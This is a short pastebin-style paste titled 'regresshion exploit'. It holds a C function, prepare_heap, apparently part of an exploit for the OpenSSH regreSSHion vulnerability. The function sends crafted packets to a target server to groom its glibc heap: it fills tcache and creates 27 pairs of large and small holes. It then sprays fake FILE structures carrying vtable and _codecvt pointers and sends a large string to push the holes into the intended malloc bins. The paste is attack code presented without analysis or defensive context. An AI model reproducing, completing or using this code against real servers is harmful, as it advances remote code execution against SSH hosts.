regresshion exploit

mail@pastecode.io avatar
unknown
c_cpp
14 days ago
1.3 kB
3
Indexable
Never
void
prepare_heap(int sock) {
  // Packet a: Allocate and free tcache chunks
  for (int i = 0; i < 10; i++) {
    unsigned char tcache_chunk[64];
    memset(tcache_chunk, 'A', sizeof(tcache_chunk));
    send_packet(sock, 5, tcache_chunk, sizeof(tcache_chunk));
    // These will be freed by the server, populating tcache
  }

  // Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
  for (int i = 0; i < 27; i++) {
    // Allocate large chunk (~8KB)
    unsigned char large_hole[8192];
    memset(large_hole, 'B', sizeof(large_hole));
    send_packet(sock, 5, large_hole, sizeof(large_hole));

    // Allocate small chunk (320B)
    unsigned char small_hole[320];
    memset(small_hole, 'C', sizeof(small_hole));
    send_packet(sock, 5, small_hole, sizeof(small_hole));
  }

  // Packet c: Write fake headers, footers, vtable and _codecvt pointers
  for (int i = 0; i < 27; i++) {
    unsigned char fake_data[4096];
    create_fake_file_structure(fake_data, sizeof(fake_data),
      GLIBC_BASES[0]);
    send_packet(sock, 5, fake_data, sizeof(fake_data));
  }

  // Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
  unsigned char large_string[MAX_PACKET_SIZE - 1];
  memset(large_string, 'E', sizeof(large_string));
  send_packet(sock, 5, large_string, sizeof(large_string));
}
Leave a Comment